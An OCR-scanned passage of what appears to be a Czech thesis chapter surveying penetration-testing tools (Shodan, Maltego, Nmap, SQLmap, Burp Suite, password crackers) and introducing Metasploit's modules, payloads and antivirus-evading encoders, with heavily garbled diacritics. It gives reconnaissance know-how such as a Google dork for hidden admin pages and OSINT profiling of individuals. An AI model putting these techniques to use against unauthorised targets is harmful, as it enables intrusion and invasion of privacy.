hardwarové naro¢ny operacni systém spiSe zaméreny na Eticky hacking. (57; 58)
Jak jiz ale bylo poznamendano: nic testeriim nebrani pouZzivat naptiklad i jednu
z nejrozsirenéjSich linuxovych distribuci Ubuntu a vSechny potfebné nastroje si sam

na miru nakonfigurovat. Pokud vSechny testerem poZadované nastroje jsou
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dostupné pro platformu Windows, lze samoziejmé vyuzit i tuto platformu. Vybér
konkrétniho operacniho systému je proto do znacné miry i véc subjektivnich

preferenci testera.

7.2 Internetové vyhledavace

vevs

i nejvyuzivanéjsi internetovy vyhledava¢ Google.com (¢i jeho alternativy jako

Seznam.cz nebo Bing.com).

Pfinos internetovych vyhledavact je ziejmy. Takika kazdy je vyuziva pro
vyhledavani informaci a pro penetracniho testera tomu neni jinak. Kromé
vyhledavani konkrétnich zranitelnosti a informaci o nich mtize byt internetovy

vyhledavac vyuzit i jinak.

Autor Johnny Long ve své prezentaci ,Google Hacking for Penetration Testers:
Using Google as a Security Testing Tool“ (59) zaloZené na stejnojmenné knize tohoto

autora popisuje radu zplisobi, jak tento nastroj vyuzit pro penetracni testovani.

Jednim z mechanismi, které délaji Google pro tento ucel vhodny, je existence
specialnich operatord, kterymi je mozné daleko l1épe specifikovat konkrétni adresu.
Autor napriklad ukazuje, jak za pomoci operatorti INURL a FILETYPE byl schopny
nalézt skrytou PHP stranku urcenou jen pro administratory. (59) Tento ptipad je

znazornén na obrazku 3.

INURL:admin INURL:orders @l FILETYPE:php

Obrazek 3 Vyuziti internetového vyhledavace Google
Zdroj: Vlastni tvorba dle (59)

7.3 Specializované internetové vyhledavace

Diky uziteCnosti internetovych vyhledavaci pro prohledavani internetu za ucelem

odhaleni zranitelnosti a jinych citlivych informaci vznikly i specialni vyhledavace,
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které automaticky prohledavaji a indexuji web primo za ticelem umoznéni nalezeni
zranitelnosti jako jsou naptiklad omylem dostupné servery, IP kamery a podobné.
Zastupci téchto vyhledavaci jsou napiiklad Censys a ZoomEye, za jejichZ pomoci byl
napiiklad v roce 2021 nalezen dokument se jmény takika dvou milionti osob, ktery
obsahoval fadu informaci vcetné ptiznaku ,no fly“. Véri se, Ze Slo o tajny seznam,
ktery spravuji americké tajné sluzby, za ucelem identifikace hledanych osob
a teroristl. Seznam byl nalezen pravé diky tomu, Ze byl hostovan na databazovém

serveru ElasticSearch, ktery byl omylem dostupny verejnosti z internetu. (60)

Vyznamnym zastupcem téchto vyhledavaci je Shodan. Jedna se o komer¢ni
vyhledavac, ktery je urCen pro komplexni vyhledavani potenciadlné zranitelnych
zarizeni a informaci o nich. Obrazek 4 ukazuje pod-sluzbu Shodan Images, ktera
slouzi k usnadnéni nalezeni verejné dostupnych web kamer a pocitact vyuZzivajicich

Remote Desktop Protokol (RDP), které jsou dostupné skrze sit’ internet. (61)

Timhle ale moZnosti vyhledavace Shodan zdaleka nekonci. Stejné jako
u tradi¢nich vyhledavaci je zde mozné vyuzit parametry vyhledavani pro vyhledani
konkrétniho portu, omezit vyhledavani na urcity adresni rozsah €i na urcity stat.
Velmi zajimavymi filtry jsou i ,vuln:“ a ,tag:“ Za pomoci téchto filtrii je mozné
vyhledavat zarizeni obsahujici specifickou zranitelnost ¢i tag. Jednim z téchto tagti
je napt. i ,tag:honeypot”, kterym vyhledavac oznaci zarizeni, o kterych se domnivs,
Ze jde o tzv. honeypot. Tedy systém, ktery je zdmérné zranitelny a na kterém jsou
pokusy o exploiataci monitorovany. Dalsi diilezitou funkcionalitou je i Shodan
Monitor, ktery uZivateli umoZiiuje zadat konkrétni zatizeni ¢i skupinu zarizeni,
apokud se na uvedené adrese napiiklad nové otevieny port miliZe uzivateli
automaticky odeslat email. Sluzba Shodan Maps pak uZzivateli umoZnuje informace

snadno filtrovat a vizualizovat na zakladé mapy. (62)
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Obrazek 4 Vystup sluzby Shodan Images
Zdroj: https://i.iinfo.cz/images/432 /shodan-desktopy-1.jpg

7.4 Maltego

Komplexnim nastrojem pro pasivni priizkum je software Maltego. Obecné Ize Fict,
Ze tento nastroj slouZi pro automatizované vyhledavani a vizualizaci informaci
a byva Siroce vyuzivan pro analyzu informaci z veiejné dostupnych zdroji (OSINT).
Nalezené informace software zobrazuje v prehledném grafu, ktery uzivatel mtize
dale rozsifovat riznymi smeéry a zplsoby. Takto je mozné ziskat prehlednou

predstavu o analyzovanych subjektech a vztazich mezi nimi.

Zakladnim prvek nastroje jsou tzv. ,entity”, kterymi mize byt napi telefonni
Cislo, emailova adresa, fyzicka lokace, osoba atd. (63), nad nimi jsou provadény
rizné ,transformace”. Vysledek transformaci je vznik dal$ich entit a propojeni mezi

nimi. Transformace jsou jednoduché skripty, které predem definovanym zptsobem
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provadéji toto rozsSirovani grafu novymi sméry a o nové podrobnosti. V zakladu
nastroj obsahuje tzv. ,standartni transformace®, kterych je vice nez 150 a které
zahrnuji zakladni OSINT operace, tedy: vyhledavani na webu, analyzu s vyuzitim
webového archivu Wayback Machine, analyzu s vyuzitim wikipedie, ale i analyzu
s vyuzitim vyhledavace Shodan. (64) Dalsi sady transformaci je moZné si do nastroje
doinstalovat s vyuzitim tzv. ,Maltego Transform Hubu“, ktery obsahuje mnoho
dalSich transformaci od Siroké skaly autort. Nékteré bali¢ky jsou v Transform Hubu
dostupné zcela zdarma, jiné mohou byt omezeny nebo plné zpoplatnény. (65)
S kazdym dalSim balickem transformaci je také mozné piidat i dalsi entity, coz déla
tento nastroj velmi uZite¢ny a vSestranny. (63) Samotny nastroj je zdarma dostupny
v Community Edition. Spolecnost, ktera nastroj vyviji, dale nabizi verze Enterprise
a Pro. Hlavnim rozdilem v téchto planech je moZnost komerc¢niho pouziti, mozZnost
pristupu k Transform Hubu, ktera je moZna pouze pro placené plany, a dale omezeni
na pocet vyhledanych a zobrazenych entit v grafu v pfipadé Community Edition.

(66)

MozZnosti vyuziti firma, kterd tento ndastroj vyviji, pravidelné zverejiiuje
na svych webovych strankach. Z pohledu penetracniho testovani je velmi zajimava
série ukazek zabyvajici se schopnostmi nastroje pro pasivni priizkum sité. V této
sérii je popsano napriklad, jakym zplisobem je moZné za vyuziti nastroje ziskat DNS
jména, kterou cil vySetfovani aktudlné poziva ¢i poZzival v minulosti. Dale je mozné
zjistit, adresy pouzivané pro emailové servery, emailové adresy administratori sité

a bloky adres, které jsou této organizaci pravdépodobné pridéleny. (67)

DalS$im zajimavé vyuziti nastroje je zfejmé napriklad ze série ,How to Conduct
Person of Interest Investigations Using OSINT and Maltego“. V této sérii spole¢nost
ukazuje, jakym zptlisobem je mozné ziskat co nejvice informaci o jedné konkrétni
osobé. Toho je dosahnuto na zakladé analyzy mnoha faktort vcéetné socialnich siti
cile. Velmi zajimavou mozZnosti, kterou spolecnost prezentuje, je i moZnost
prohledavani udaji takto nalezenych v sadé databazi obsahujici unikla data. Takto
muze byt napriklad nalezeno heslo, které dana osoba nebo skupina osob v minulosti

vyuzivala, a tedy mozna vyuZziva stale. (68)
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Obrazek 5 Jednoducha OSINT analyza socialnich siti s vyuzitim nastroje
Maltego
Zdroj: (68)

7.5 Nmap

Nmap nebo Network MAPer je popularni open source nastroj pro prozkoumavani
pocitacovych siti. Tento nastroj je schopny zjistit, jaka zarizeni se v siti nachazi, jaké
porty jsou otevirené a velké mnozstvi dalSich uzite¢nych informaci. Nastroj funguje
z prikazového tFadku a formou parametrii je mozné navolit si piesny zplisob
skenovani. Je mozZné napriklad specifikovat konkrétni porty, které nas zajimaji, ¢i
pozménit poiadi skenovani. Dale miiZzeme skenovat sluzby a jejich verze, a to v¢etné
detekce verze operacniho systému. Nmap dale nabizi moZnosti pro specifické
Casovani skenli (napi. pocCet poZzadavkl za dany cas) tak, aby bylo snazsi toto
skenovani pred vlastnikem/spravcem sité 1épe skryt. K dispozici jsou i moZnosti pro

Firewall/IDS evasion a spoofing. (69)
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Zakladnim vyuzitim Nmapu je pro skenovani otevirenych TCP ¢i UDP portt
na cilovém stroji. Nastroj Nmap pro tento ucel miize vyuzit vlastnosti Ctyi'cestného
handshake protokolu TCP pro detekci otevirenych TCP portli. Nastroj Nmap za timto
cilem zacne prvni fazi handshaku odeslanim paketu SYN, pokud je port otevieny,
odpovi cilovy stroj presné dle druhé faze handshaku odeslanim packetu SYN/ACK.
Pokud je testovany port naopak zavieny, dojde k odpovédi pouze ve formé
RST/ACK. Na zakladé nastaveni skeneru pak miize dojit ke korektnimu dokonceni
handshaku a naslednému korektnimu rozvazani spojeni ¢i k samotnému dokonceni
a navazani spojeni viilbec nedojde. (Pfedpokladem miiZe byt, Ze cilova sit' loguje
pouze UspésSné navazana spojeni a nestandartni a nedokoncené pokusy o spojeni

nebudou odhalena). (69)

Jak jiZ bylo ale poznamenano, nastroj Nmap umozZnuje Sirokou Skalu
moznosti za i¢elem mapovani a aktivniho prizkumu cilové pocitacové sité. Vyse
uvedeny priklad je jen jednou z nich. Kompletni vyc¢et moZnosti nastroje Nmap je

moZné najit v oficialni dokumentaci Nmap. (70)
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Nmap Server

SYN (Z&dam o pfipojeni k portu 22)

SYN/ACK (Port otevren. Pokracuj)

ACK (Spojeni navazano)

Data: SSH banner message

RST (Ukonci spojeni)

Obrazek 6 Skenovani typu TCP connect
Zdroj: Vlastni tvorba dle

https://www.codecademy.com/resources/docs/cybersecurity/Nmap /tcp-

connect-scan

7.6 ZeNmap

Oficialni graficka nadstavba programu Nmap se nazyva ZeNmap. Cilem této
nadstavby je naucit novacky vyuzivat program Nmap a vizualizovat zmapované sité.
Nastroj ZeNmap obsahuje nastroj, ktery interaktivné umoziiuje uzivateliim
sestavovat prikazy pro Nmap, tak aby byla dosaZena uzivatelem pozadované
chovani programu. (71) Vystup z programu Zenmap je vidét na obrazku 7. V tomto

vystupu je mozné vidét.
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Obrazek 7 Vystup programu ZeNmap
Zdroj: https://www.ictshore.com/wp-content/uploads/2018/05/hrck0004-01-

zenmap_showcase.png

7.7 Ping

Ponékud standartnim zptisobem zjisténi pritomnosti pocitaci a jinych zarizeni v siti
je vyuziti servisnich ICMP zprav echo. Timto zplisobem miiZe byt napriklad cely
adresni rozsah sité postupné otestovan a kazdé z adres takto odeslan ping. Tomuto
pristupu se tika ,ping sweep“ a mliZe byt proveden bud’ primo prikazem ping nebo
nékterym z nastroju, ktery komplexni vyuzivani této techniky usnadnuji. Prikladem
takovych nastroji jsou Fping, Hping ¢i dokonce nastroj Nmap, ktery ma moznost
provedeni ping sweep zabudovanou. Nevyhodou tohoto ptistupu mize, kromé
zjevnych nevyhod spjatych s aktivnim priizkumem jako je napf. riziko odhaleni

i moZnost administratora cilového systému zakazat na zpravy ping odpovidat.

Tento nastroj miiZze byt vzhledem ke své jednoduchosti snadno prehlizeny.
Jednoduchost je vSak jeho nespornou vyhodou. Lze totiZ oCekavat, Ze prikaz ping je
dostupny na kazdém stroji a to znamena, Ze je ho snadno moZno vyuzit i na stroji,
ktery nema nainstalovan zadny slozitéjsi nastroj. Metoda priizkumu ping sweep ma

vSak zasadni nevyhodu. Nékteri sitovi administratori za uUcCelem zabranéni
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mapovani jimi spravované sité konfiguruji néktera zarizeni nebo celou sit, tak aby

zpravy ICMP echo byly zdmérné ignorovany. (72)

7.8 Skenery zranitelnosti Nessus a OpenVas

Dal$imi dilezitymi nastroji pro aktivni priizkum jsou skenery zranitelnosti. Tyto
skenery existuji za uCelem automatizované identifikace zranitelnosti v pocitaCovém
systému, a to vcetné Spatné nakonfigurovanych zarizeni. Toho je docileno
provedenim jednoduchych testi na zakladé predem piipravené databaze
zranitelnosti. Hlavnimi zastupci skenerli zranitelnosti jsou ndastroje Nessus
a OpenVAS. Tyto nastroje jsou ve skutecnosti pribuzné a dohromady pokryvaji
takika cely trh. Nessus byl prvnim dostupnym a Siroce pouzivanym nastrojem pro
skenovani zranitelnosti. Pozdéji vsak byla licence softwaru Nessus zménéna z open-
source na proprietarni a z toho diivodu vznikl nastroj OpenVAS (Open Vulnerability
Scanner), ktery je ve skutecnosti pokracovani open-source projektu Nessus pod
jinym majitelem (tzv. fork). Nastroj OpenVAS byl nedavno pfejmenovan a nyni nese
jméno firmy, ktera ho vyviji. Tento nastroj se nyni jmenuje GreenBone Vulnerability
managment. Nazev OpenVAS je vSak natolik znamy, Ze je odborniky na tuto

problematiku nadale pouzivan. (73; 74)

Pfi porovnani obou produktii vychazi ve vétsiné piipadi Nessus jako mirné
vykonnéjsi a presnéjsi volba (73; 74; 75), zasadni nevyhodou tohoto feSenti je vsak,

Ze zdarma tento nastroj prozkouma pouze sit’ o Sestnacti zatizenich.

Rozhodnuti o tom, ktera volba je lepsi tedy nelze urcit. VZdy je potreba
peclivé zvazit naroky konkrétni organizace, kterd nastroj bud’ interné pouZziva nebo

si objednala penetrac¢ni testovani, jehoZ soucasti sken zranitelnosti miize byt.

7.9 SQLmap

DalSim popularnim nastrojem je SQLmap. Tento nastroj zneuziva implicitni
zranitelnost databazového jazyka SQL, ktery vyuziva specialni prikazy (tzv. dotazy)
k vybavovani konkrétnich dat z databaze. Zranitelnost miiZe byt exploitovana tim,
Ze utocnik cilené zmanipuluje tento dotaz, tak aby byl ve vysledku proveden

nezamyslenym zptisobem. K tomuto dochazi zpravidla nedtislednym zabezpecenim
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vstupnich poli aplikace a naslednym primym vloZenim dat ze vstupnich poli do téla
dotazu. Timto zplisobem miiZe Gto¢nik do téchto poli zdmérné namisto konkrétnich
dat vloZit specialné upravena data, ktera nasledné mohou byt provedeny jako
prikazy pro databazovy systém. Tomuto typu utoku se rika ,SQL injection“. (76)
Resenim této zranitelnosti je dle neziskové organizace OWASP (Open Worldwide
Application Security Project) vyuZivani parametrizovanych dotazi, vyuzivani
spravné vytvorenych databdzovych procedur a restriktivni kontrola vstupu

na zakladé seznamu povolenych hodnot. (77)

SQLmap je Open-source nastroj, ktery slouzi k automatickému prizkumu
a exploitaci tohoto typu zranitelnosti na konkrétnim cili. Tento nastroj umoziuje
detekci konkrétniho typu databaze, automatické vyzkouseni velké rady technik SQL

injection a nasledné predani reportu testerovi s popisem nalezenych zranitelnosti.

V pripadé uspésného prolomeni zabezpeceni nabizi nastroj moZnosti pro
prozkoumdani kompromitované databaze, eskalaci privilegii, slovnikového utoku
na nalezena zahashovana hesla ¢i vytvoreni trvalého spojeni s operac¢nim

systémem databazovym serverem. (78)

7.10 Burp Suite

Burp Suite je sada nastrojli urcena pro penetracni testovani webovych aplikaci. Mezi
zakladni funkcionality tohoto nastroje patii schopnost zachytit poZadavky, které
webovy prohliZze¢ odesila konkrétni webového aplikaci. Burp Suite testerovi nabizi
prehledné prostiedi pro analyzu téchto pozadavkd a odpovédi na né. Nastroj dale
umoziuje Sirokou $kalu manipulaci s pozadavky jako je napriklad automatizované
odesilani pozadavki (napf. za ucelem uhodnuti hesla na zakladé slovnikového ¢i
brute-force utoku), znovu odeslani zachyceného pozadavku, uprava libovolné casti
pozadavku a jeho nasledné odeslani apod. Velkou vyhodou tohoto nastroje je jeho

rozSititelnost skrze vestavény obchod BApp Store. (79)

Tento nastroj je dostupny ve dvou verzich: Comunity a Professional.

NejzasadnéjSimi vylepSenimi verze Professional je moZnost rozpracované prace
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ve verzi, neomezend rychlost odesilani dotazii a moznost instalace doplitkti z BApp

Store, které nejsou urceny pro Comunity edition. (79; 80)

7.11 Hashcat a John the Ripper

Béhem pribéhu penetracniho testu mize byt testovano i zabezpecleni
zaheslovanych zarizeni. Tester za timto ucelem vyuZiva zpravidla 2 techniky.
Slovnikovou a brute-force. Brute-force pristup, jak jiz ndzev napovida vyuziva
yhrubou silu“ za ucelem uhodnuti hesla. Jsou tedy postupné testovany vSechny
mozné kombinace znakli dle predem definovanych parametri (tedy maximalni
délka hesla, minimalni délka hesla, pouzité sady znakd apod.) Opakem je vyuZiti tzv.
slovnikového utoku, pri kterém je vyuzito predem piipravenych slovnikd,
ve kterych je predpripraveno velké mnozstvi casto vyuzivanych hesel. Jednim
z nejznaméjsich slovniki je slovnik ,rockyou.txt”, ktery vznikl vroce 2009
na zakladé udniku dat americké firmy Rock You. (81) Tento slovnik je béZné
automaticky pribaleny ve specializovanych verzich operacnich systémi pro
penetracni testovani (napf. Kali Linux); je mozné si jej ale i béZné stahnout.
Modifikaci slovnikového utoku na heslo utoky hybridni, kdy je kombinovan piinos
obou pristuptli. Je tedy vyuzivano slovniku a dle preferenci testera jsou hesla
v slovniku obsaZena dale obohacovana, napriklad brute-force pridavanim tii Cisel

na konec kazdého z hesel.

Aby tester nemusel toto vSechno délat rucné, existuje Ffada nastroji pro
automatické prolamovani hesel. Mezi nejznaméjsi se tadi John The Ripper
a HashCat. Oba tyto ndastroje funguji prevazné pres prikazovou radku a na vstupu
prijimaji, kromé konkrétnich dopliiujicich parametri pro dany nastroj, i seznam

zahashovanych hesel a potencialné i slovnik.

Presto, Ze jsou tyto dva nastroje podobné, pri blizSim porovnani je mozné
najit nékolik rozdilti. Nejzasadnéjsim rozdilem je moznost HashCat vyuzit akceleraci
GPU na neékolika grafickych kartach, zatimco John The Ripper umoziiuje pouze
vyuzit bud’ CPU nebo GPU. Vyuziti vice GPU je ve vychozi konfiguraci u nastroje John

The Ripper navic omezen pouze na jediny hashovaci algoritmus. Vyhoda John The
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Ripper je ale automaticka detekce hashovaciho algoritmu, ve kterém jsou hesla

uloZena. Pro nastroj hashcat toto musi byt vzdy explicitné specifikovano. (82)

7.12 Rainbowcrack

Dal$im z nastrojli pro prolamovani hesel je Rainbowcrack. Cilem tohoto nastroje je
spiSe nez hrubou vypocetni silu vyuZit pro prolamovani hesel pamét zarizeni. Toho
je dosazeno za vyuziti tzv. ,Rainbow tables®, coz jsou pied-vypocitané tabulky hesel
a jejich hashii. Diky tomu neni nutné dané hashe pocitat béhem procesu
prolamovani a timto pristupem tedy dochazi k vyraznému urychleni celého procesu.
Vytvoreni samotnych tabulek vSak naddle zlistava vypocetné narocnym ukolem.

(83)

7.13 Metasploit

Metaspoloit Framework (MSF) je open-source framework pro penetracni testovani
spravovany spolecnosti Rapid7. MSF Nabizi fadu moduli a nastroji pro vyuziti
zranitelnosti pocitacovych systémi s cilem najit bezpecnostni chyby a otestovat

jejich obranu.

Hlavni soucasti frameworku je rozsahla databaze znamych chyb a exploitl
s jejichZ pomoci je moZné prolomit zabezpeceni daného systému a dopravit do néj
néktery z predem piipravenych kodl. framework dale v neposledni radé obsahuje
i rfadu nastroji ke skenovani cilového systému na slabiny. Z divodu znacného
rozsahu a komplexnosti tohoto nastroje je bliZSimu popisu vénovana cela pristi

kapitola.

7.14Porovnani nastroju

Jak jiZz bylo v iivodu kapitoly nastinéno, zdaleka se nejedna o kompletni vycet vSech
dostupnych nastroji, ale spiSe prehled nejpouzivanéjsich nastroji riznych typt.
Vzhledem k tomu, Ze drtiva fada nastroji slouzi k iplné jinému tcelu a ve vysledku
se tedy spiSe doplnuji, nez aby si konkurovaly neni moZné nastroje mezi sebou
porovnat za Ucelem urceni, ktery z nastrojii je nejlepsi. Stejné tak je nepraktické
délit nastroje do pevné danych kategorii napr. dle faze testu, ve které by byl nastroj

vyuZzit. Je zfejmé, Ze napriklad nastroj ping by dle této filozofie mél byt zarazen jako
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nastroj pro aktivni prazkum. Pfi blizSim zhodnoceni je vSak ziejmé, Ze i takto
jednoduchy nastroj miize byt vyuzit k mnoha uceliim, jako je napiiklad k testu ttoku
»ping flood“, coZ je varianta ttoku typu odepteni sluzby (DoS). Toto plati i pro velmi
komplexni nastroj Metasploit, ktery nelze zatradit pevné do jediné kategorie, protoZe
tento obsahuje fadu moduld pro prizkum, ale i pro exploitaci a post-exploita¢ni

¢innost.

Zvyctu dale vyplyva i prekvapiva skutecnost tykajici se komplexnosti
nastroji pro penetracni testovani, kromé komplexnich ndastroji jsou totiz
nepostradatelné i jednoduché nastroje typu ping ¢i internetovy vyhledavac Google.
Dale mohou byt velmi uZiteCné i nastroje, které se do samého vyctu nedostaly, jako
jsou napriklad nastroje pro usnadnéni reportovani zavérl z penetrac¢niho testovani,
timto nastrojem muze byt naptiklad Microsoft Word. Vyhodné mize byt také vyuziti

software pro monitorovani sitového provozu jako je napriklad Wireshark.
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8 Metasploit

V této kapitole bude podrobné popsan vybrany nastroj pro penetracni testovandi:
Metasploit Framework (MSF). Tato kapitola bude obsahovat seznameni s jeho
historii, funkcemi, strukturou a vyuZzitim pro penetracni testovani. Pochopeni
struktury, funkci a moZnosti tohoto nastroje je nezbytné pro pochopeni nasledujici
kapitoly, ktera formou pripadové studie predvede praci s frameworkem a bliZe
Ctenafe seznami jakym zplisobem miiZe byt framework vyuZit pro penetracni

testovani.

8.1 Historie

Vyvoj MSF byl zahdjen v roce 2003 poté, co si expert na sitovou bezpecnost HD
Moore uvédomil, kolik asu zbytecné travi validaci a sanitaci verejné dostupnych
exploitli. Namisto toho se rozhodl pro vytvoreni flexibilntho a udrzovaného

frameworku, ktery bude vSe automaticky obsahovat v sobé. (84 str. xxii)

Plivodné byl Metasploit napsan v jazyce Pearl a obsahoval pouze 11 exploita.
Verze 2 vydana v roce 2004 databazi exploitli rozsitila na 19 a dostupnych bylo
i vice nez 27 payloadii. Velkou zménou projekt prosel poté, co se k nému ptipojil
Matt Miller (Skape). Projekt zacal rychle nabirat na popularité a na zakladé
rozhodnuti autorli byl postupné prespan do jazyka Ruby. Toto prepsani trvalo
pouhych osmnact mésicii, nové prepsany framework byl vydan jako verze 3. Byla to
pravé tato verze, ktera zaznamenala velky uspéch a Sirokou adopci nastroje. (84 str.

xxiii)

Vroce 2009 doslo kakvizici projektu spolecnosti Rapid7, coZ umoZnilo
Moorovi vyuZzit prostredky této firmy pro dalsi rist. Bylo tedy jiz mozné, aby se
Frameworku Metasploit vénoval naplno cely tym vyvojart. Toto zvysSené usili
se snahou projekt co nejvice rozrist a rozsirit se vyplatilo a Metasploit Framework
po akvizici spoleCnosti Rapid7 zacal dramaticky rlst. Dnes se jednda o jeden
z nejznaméjsich nastrojli pro penetracni testovani a diky tomu je ho mozZné
automaticky nalézt napf. vjedné z nejpopularnéjsich Linuxovych distribuci pro

penetracni testovani: Kali Linux. Metasploit Framework je vSak k dispozici i pro jiné
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popularni operacni systémy jako je napriklad Microsoft Windows a Apple macOS.

(85; 84 str. xxii)

Metasploit Framework je vyvijen jako open-source a je tedy z definice volné
dostupny. Dle vyvojare tohoto produktu MSF predstavuje zaklad, na kterém jsou
budovany komer¢ni produkty. Témi jsou konkrétné edice Metasploitu: Community,
Express, Ultimate a Pro. (86) Rozdily ve verzich je mozné se dozvédét na webovych
strankach projektu Metasploit. Obecné lze vSak poznamenat, Ze zakladem je edice
Community, ktera je dostupna zcela zdarma. Tato edice obsahuje zadkladni nastroje
a moduly pro zakladni ¢innost penetracniho testovani vcéetné skenovani a manualni
exploitace. Kazda dalsi edice je placena a pridava testertim dalsi a dalsi moZnosti
vcetné vétSi automatizace. Edice Express a Ultimate napriklad pridavaji podporu
pro Sirokou $kalu reportovani a vyhnuti se anti-virovym programtm. Nejdrazsi
Edice Pro pak disponuje vSemi moZnostmi, které je firma Rapid7 schopna a ochotna
zakazniklim nabidnout. Tato edice tedy pridava naptriklad podporu pro socidlni

inZenyrstvi, makra, kolaborace v tymu a vytvareni retézci tkold. (87)

Cena jednotlivych edic kromé Community nenfi striktné dana. Pro cenovou
nabidku je nejdrive nutné kontaktovat prodejni oddéleni firmy. Drew Robb vsak
ve svém internetovém clanku z roku 2019 uvadi ceny 15000 americkych dolart
kazdy rok za verzi Pro. Verze Ultimate a Express pak podle jeho informaci stoji mezi

5000 a 2000 americkych dolart rocné. (88)

8.2 Uzivatelska rozhrani Metasploitu

Metasploit nabizi nékolik grafickych ¢i negrafickych rozhrani, ptes které je mozné
s frameworkem interagovat. Nejcastéji pouzivanym rozhranim je MSFconsole. Toto
FeSeni miiZe byt pro novacky pomérné komplikované, protoZe se jedna o negrafické
rozhrani. Presto vSechno je toto rozhrani po chvilce uceni velmi snadné na ovladani.
Velkou vyhodou MSFconsole je, Ze se jednd o jediné uzivatelské rozhrani, skrze které
je moZzné Metasploit ovladat plné (tedy kompletné vyuZit vSechny funkce

a moZznosti, které v Metasploitu jsou). (89)
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Grafickym uzivatelskym rozhranim je pak napriklad armitage. Jedna se
o jednoduchou nadstavbu psanou v Javé, kterou vytvoril Raphael Mudge. (90) Tato
nadstavba plné neobchazi MSFConsole, jedna se spiSe o interaktivniho pomocnika,
ktery na zakladé grafického uZivatelského rozhrani automaticky sklada a spousti
prikazy. Je to tedy dobry nastroj pro nauceni se zakladnimu ovladani Metasploitu

pres MSFConsole.

Dal$i mozné grafickym uzivatelské rozhrani predstavuje oficidlni webové
rozrani, ke kterému je mozné pristoupit s vyuzitim portu 3790 za pomoci webového
prohliZece. Toto rozrani vzniklo az po ARMITAGE s postupnou komercializaci

Metasploitu. (91)

8.3 Penetracni moduly

Vétsina interakci s Metasploitem probiha skrze néktery z jeho mnoha moduld. Tyto
moduly se nachazi ve dvou specifickych lokacich. Tou hlavni je:
/usr/share/metasploit-framework/modules/. V této lokaci jsou vSechny pribalené
moduly Metasploitu. Druha lokace se pak nachazi v domovském adresari pod
adresou ~/.msf4/modules/. V této lokaci jsou uloZeny vSechny uZivatelovy vlastni
moduly. Dal${ moduly je moZné nacitat i za béhu msfconsole a to pomoci prikazu

msfconsole -m ~/module-name/ (92)

— | =

Jfusr/share/metasploit-framework/modules

Obrazek 8 Pirehled modulii Metasploitu
Zdroj: Vlastni tvorba dle (92)
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8.3.1 Exploits

Ve slozce Exploits jsou pripravené exploity, které jsou jesté roztrizeny do podsloZek

nejcastéji podle operacniho systému pro, které byl tento exploit vyvinut. (92)

-~

Jusr/share/metasploit-framework/modules/exploits

Jusr/share/metasploit-framework/modules/exploits

Obrazek 9 Prehled struktury adresare s exploity
Zdroj: Vlastni tvorba dle (92)

Kazda z téchto slozek je pak dale délena do podsloZek na zakladé podobnosti
danych exploiti. Nejcastéji jde o sluzbu(port), kterou exploituji. V téchto slozkach
jsou uz pak samotné ruby soubory se zdrojovym kédem, ktery je snadno mozné cist
napriklad ptikazem nano. Kromé samotného zdrojového kédu exploitu je v ruby

souborech ¢asto mozné vidét napriklad i jméno autora, popis zranitelnosti a také

odkaz na CVE detaily dané zranitelnosti na zakladé, které exploit vzniKI.

Jusr/./metasploit-framework/modules/exploits/windows

fusr/./metasploit-framework/modules/exploits/windows

Jusr/../modules/exploits/windows/tftp

netdecision_tftp_traversal.rb

opentftp_error_cc tft z

guic tp_pro_mode.r threectftpsvc_long_mode.rb
tftpd32_long_filename.rb

Obrazek 10 Prehled konkrétnich zranitelnosti
Zdroj: Vlastni tvorba

Exploity se v Metasploitu déli do dvou kategorii. Prvni z nich jsou tzv. aktivni
exploity, které maji za cil kompromitovat konkrétni pocitac, dokoncit svou ¢innost

a poté systém opustit. Pasivni exploity naopak cekaji na to, az se néjaky pocitac
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pripoji a aZ tim se samotny exploit provede. Pasivni exploity se témér vidy zaméruji

na klienty, jako jsou webové prohliZece, FTP klienti atd. (93)

8.3.2 Payload

Dalsi podsloZkou ve sloZce moduly jsou samotné payloady, které je moZné rozdélit

do trech kategorii: singles, stagers a stages.

e Singles: Maji za cil provést jen jednu jednoduchou akci. Jedna se
o samostatné payloady s relativné malym kédem a kviili tomu tyto payloady
vlbec nezavisi na Metasploitu samotném a je mozné je vyuzit i jinde. (94)

e Stagers a stages: Stagery predstavuji relativné malé payloady, jejichZ cilem
je tvorba sitového spojeni mezi Uto¢nikem a cilovym strojem za ucelem
pozdéjsi prepravy dodatecného Skodlivého kédu (stages). Kéd jednotlivych
stages, pak na rozdil od stagerti mtze, byt uz relativné velky. Jak jiZ z ndzvu

vyplyva, jeden stager mliZe stdhnout jednu ale i vétSi mnoZstvi stages. (94)

8.3.3 Encoders

Encoders neboli ,kédovace“ predstavuji nasledujici krok po vygenerovani
konkrétniho payloadu. Cilem zakdédovani je snaha vyhnout se detekci antivirovym
softwarem ¢i jinym IDS (Intrusion Detection Systems). (1 str. 244) Zakédovanim je
mozné se vyhnout antivirovym programiim vyuzivajicim statickou detekci malware.
Je ale dilezité zminit, Ze stavajici antivirové programy, kromé statické detekce,
vyuzivaji i pokrocilejsi techniky jako je behavioralni a heuristicka analyza, takze
samotné zakddovani nemusi stacit. Metasploit obsahuje celkem 45 kédovaci, které

je moZné rozdélit do tri kategorii. (95; 92)

e Koddovani Base64: Prikladem jednoduchého kddovani je Base64 kddovani.
Tento typ kodovani funguje na principu rozdéleni pocatecniho textu
do skupin po 6 bitech (ptivodné mohl byt text zak6dovan tak, aby kazdému
znaku odpovidalo pravé 8 biti) a prirazeni nasledného ASCII znaku
na zakladé binarni hodnoty kazdé 6bitové casti. Nevyhodou tohoto kddovani
je, Zze vysledny kod je kvili tomu o zhruba 33% delSi nez ptivodni text.

Vyhoda kédovani Base64 je, ze vysledny zakddovany znak se miize vyrazné
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liSit v zavislosti na pozici nezak6dovaného znaku v textu. Tento typ kddovani
neni omezen pouze na vyuziti jako kédovani textu, ale mize byt vyuzit
na jakakoliv binarni data. (96; 95) Base64 koédovani je tedy mimo jiné

vyhodny vSude, kde je nutné piresunout binarni data textovymi kanaly.

ASCII Text: H i
ASCII to Binary: 01001000 01101001
ASCII to Binary: 0100100001101001

— S

010010 000110 100100 000000

v v v v
S

G K =

6-bit Base64
with padding:

Base64 Encoding
with padding:

Obrazek 11 Ukazka kédovani Base64
Zdroj: (96)

XOR kédovani: Jak jiz nazev napovida XOR kddovani vyuziva matematické
operace XOR. Jedna se o metodu symetrické kryptografie a je tedy nezbytné,
aby po zakddovani byl kli¢ pro dekddovani pribaleny kdanému
zaSifrovanému souboru. (95)

Alfanumerické koédovani: Tretim druhem koédovani je kdédovani
alfanumerické. Tento typ kédovani prevadi podobné jako Base64 zdrojovy
soubor na sekvenci ASCII znakl. Toto ale neslouzi pouze pro vyhnuti se
